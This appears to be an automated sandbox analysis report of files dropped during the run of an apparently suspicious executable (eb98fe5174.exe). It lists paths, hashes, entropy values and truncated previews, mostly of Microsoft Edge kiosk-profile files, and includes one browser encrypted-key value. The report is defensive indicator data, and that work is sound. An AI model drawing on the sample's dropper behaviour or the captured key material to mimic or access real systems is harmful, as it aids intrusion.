Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\057ea00c-79af-43a3-bc67-5e853f7f9be8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20985
Entropy (8bit):	6.062786537224089
Encrypted:	false
SSDEEP:	384:itMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSOPswB77Dzkev6KtFY0DFBo:2MGQ7FCYXGIgtDAWtJ4nIswB77nkev6/
MD5:	C1EBB0B9A1F447673665A9020A9BB5E1
SHA1:	FC6ACBE09AEDFA5BA2E9F0D5CAB47C6728C2BFF9
SHA-256:	FC905B93C32F7424584FE06E92BDDBEBA223D6FA618EB795F9929795C9813DFB
SHA-512:	04D0FA7A0F5DBB2B91B349E0D97465557B434DD43B5685505191F97406ACFFF236DB0B3BBF8D3245C20F4015CA571FAD579EC37D3BD1A8BECC1A417B737866CD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369633756681638","domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3fKpCZl+2D91MLf04NPNNUni9BZmDP4Sfjk2Ig7ktgg8r8InfhHz//zSP7e8bquWlsDJ411j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\09370d44-6957-4eec-9aec-dfc68b988f16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.576601150038537
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afc3F5bXuOsO6XkHB+edrxHzvBFQlRfDaJkXLcD/wlR/X/3B0:Xq8NkC1fc1BXx6+BXRzv32fWJk7cYn3q
MD5:	B9B8AF2502F1D682AA63F1D384F97F8A
SHA1:	247D4C162118C4AA574F5C334A183A0969E6BD1F
SHA-256:	6F9069F49CA6A26C1F6C95F32F9125E28511210BE1E2C2AE9D3E32F6E5C2F793
SHA-512:	D92DD80429E1CAF50E256DCFC62A8E5F35ED06737B26D183FE92756DDD6DC5928A437DB3882B88786C02896B4A96FF3A60D39A8F67C751606896D26733C7B418
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"policy":{"last_statistics_update":"13369633755124631"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\66800bc1-67ac-4953-a0af-959bf08cddb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3DADA-1FF8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0404959653833281
Encrypted:	false
SSDEEP:	192:nGUjLYiVWK+ggCdlkJtD+FX9XH1okgV8vYhXxNEcSb8GRQMm87n8y08Tcm2RGOdB:GUjjl4qFWnhB+da8708T2RGOD
MD5:	59910C5236381859105735B219F87CC8
SHA1:	B2A78260B55AA9EB177BF4F0DBC7E8F290F888EA
SHA-256:	F8B907734927F82BE378C09544C15107E2A43E7BD52D57DFF4F0CF63245E0762
SHA-512:	97F2551AE3FA94972E66C0A282CA2D6BBCD59715B87E26702F9BFF5602131420A8AC7E47D5649AE1561A1FCBFD49DD3C2E9BBDB05BFC7897C4FA615C29EA7972
Malicious:	false
Preview:	...@..@...@.....C.].....@................a...P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gyanpt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@.............5.....................$}.CG....L.T.w..Ucw.}....u.$r....9...>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...../.$.3@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z.......................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3DADB-1568.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.3579522823817197
Encrypted:	false
SSDEEP:	3072:OAGMQp/eE91uiunxZg1HFcICc++H4cEWcRA3xg1HFjy:zTQs+1anxZaHKvWH4cqsaH0
MD5:	8C94BF345B43E9C54B50E1BBA0BDD9A5
SHA1:	665F1A3A710CA4558B6DD0CD677A3C19AB7810C8
SHA-256:	079A6034BF96791C693DEC73E0AB5981ECC4B6F485ACD2C3C35A9BFCAC07575D
SHA-512:	A39AF0BDBE82E4A449EFDD1F53F8051520A7DE82C23D2A00CAF606EFC0EA7E255FBFBCBC9D5ED1FA1D993AE9862D40E80D4F11F7527F7B9CE8095966ABA8E8D3
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gyanpt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@.............5.....................(}.CG....L.T.w..Ucw.}?:K.....u.$r....9...>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...../.$.3@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDep

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.116603464640916
Encrypted:	false
SSDEEP:	3:FiWWltluwLHSRqOFhJXI2EyBl+BVP/Sh/JzvLDC0FBA63hUmiplstl:o1zyRqsx+BVsJD3ZFBv3hUbaX
MD5:	BDCC362F98B6893C776EBB870462BAC8
SHA1:	D8AEBAAF041C5BA34B782091297381307C0C8C95
SHA-256:	AFD1469FFA838D735AE31FABBDDBBB05E8937071E818ADF2A90BBB2E8CD4E9D2
SHA-512:	467748128103C5FEF2C9F3DDB0C2BE392294C014C05CBDEF6906008DF57C0F4FD61C53A946E9EF038751FE062CF90E92FFCB2C8B65D2A11FC5E566AD54EA9C23
Malicious:	false
Preview:	sdPC......................J.HT.N.U.'\|l.."1SCRpGKHAwpF5kOwXUUSc/ojBrTkNG2SgkvqW1WE7kI="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................eef52e76-55de-4dd6-a0fa-14ef62a6a4be............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\throttle_store.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\058465db-01e3-4f73-9e7e-d54d98227187.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\1adee57f-afc3-4ab0-aca4-df804fdcaa5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24800
Entropy (8bit):	5.566457098994281
Encrypted:	false
SSDEEP:	768:VT7+zAWPsqfhl8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/2byCrwicpGtuR:VT7+zAWPsqfhlu1jai2yniFty
MD5:	366DE9705A51767F09AD1E6392F52162
SHA1:	A43BE2A497F90394C10801FC01135655FBAAB48E
SHA-256:	6F98B4B1EA97F21D15E40263B4DABE0715D6F5688B282246C07D2F6731BAACBB
SHA-512:	743D9D6ACD022FF8AFD361808EDFEBA1E213A474A0556FC12111723B3F1EF81877382798C888B0F368655DDC35C878221FF3214FCB6F86EE868C95926505A083
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633755703113","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633755703113","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\3e1f47b9-e68d-4ae1-97bb-a6d7cd5831e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6290
Entropy (8bit):	4.9688455858143685
Encrypted:	false
SSDEEP:	96:stZqfvis1W5db93CT1N8zGQjs85eh6Cb7/x+6MhmuecmAeKE1L2M0/EJ:stZJs45KT1Nkrjs88bV+FiAeP0MJ
MD5:	EE711BF892C8D150277B2298B8CFFD20
SHA1:	BCE29773BE9CBE1BB67B44DD33524F7F03A76915
SHA-256:	5AEE8B806B40EC051C2C0E98BDF006D5DC267AB854FE49B716D39587728EA3A8
SHA-512:	2FF34A5CBE3C73A185633A23AB5AEEEBD4E0EB63C27CCD00A55860BBDE6769AB55F7310E2D5616B30641334D58325401173F5946942D9597E0C6D1669AEB008E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369633756607037","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369633756599877"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\52abeaca-2c68-45c3-9d34-6f025c8b9f85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566274076086274
Encrypted:	false
SSDEEP:	768:VT7+zAWPsqf2l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/2byCrwigpGtuy:VT7+zAWPsqf2lu1jai2yni5tZ
MD5:	3DEB23947819FB8F1A3B96827E7B03B5
SHA1:	B148746326E0EE9EAE0E2F7F6BC4DCF330173425
SHA-256:	D1770E55D7BE66C70DF5217C0D5A7D2C3F173B8DDDCFAAF6243F03C80931A3A9
SHA-512:	9504F9623428C3BBBD237882C765A9D84C439BF3A3B26C0F5E2E28AC4A8F26AD0207E4633341A52D269C0DA605972624ACD586B609D2F8FDEC7C9F5C6997641C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633755703113","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633755703113","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\90319d6d-50ea-4063-b2a4-d684c7ec80b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	12600
Entropy (8bit):	5.3204142483190475
Encrypted:	false
SSDEEP:	192:RAOEH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNdl:qOEOKSXs/J7mGnQmLu5/5eNdl
MD5:	4F4AB85F03E2BA88A9B6C547549778F8
SHA1:	4FC077B1CE0C2DA9F110497AEF20655C841C46E3
SHA-256:	247FEC446DC90165E761CB41B699C46A8068B836E0ECAD1E0062C0A8F9E912A9
SHA-512:	35ABDE51E2C9DDE09D51AA15D06D7BDF308D46BAE0CAD9CC297562FA1CDFCF885DE5DDFB9F8C20552AB1000B2E423B1BAF55FFF7A01FECEE51992BB89ADC7AC4
Malicious:	false
Preview:	...m.................DB_VERSION.1..oH.................QUERY_TIMESTAMP:arbitration_priority_list4...13369633761021766.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.133048608432932
Encrypted:	false
SSDEEP:	6:62q1wkn23oH+TcwtOEh1ZB2KLlA6Q+q2Pwkn23oH+TcwtOEh1tIFUv:6KfYebOEh1ZFLy6VvYfYebOEh16FUv
MD5:	D4C5281D1C93D2619053BF24C8AB7985
SHA1:	62F74739FD5E706558EEC7D4580C22F2732D4B50
SHA-256:	37C7124EC00A12DF988C01074D22B97DD6FB850730E59429498C948098A21C54
SHA-512:	B45B0CE6665E1719F38076E9BB7980412D0F0F99CCF91BAFF677FE3AA0F33903ED57322C7017173E82E6C97C883E4DB7EBD8F4E36B8CEFA4EBCAF6869C7F8995
Malicious:	false
Preview:	2024/08/31-23:09:20.264 1b38 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db since it was missing..2024/08/31-23:09:20.312 1b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
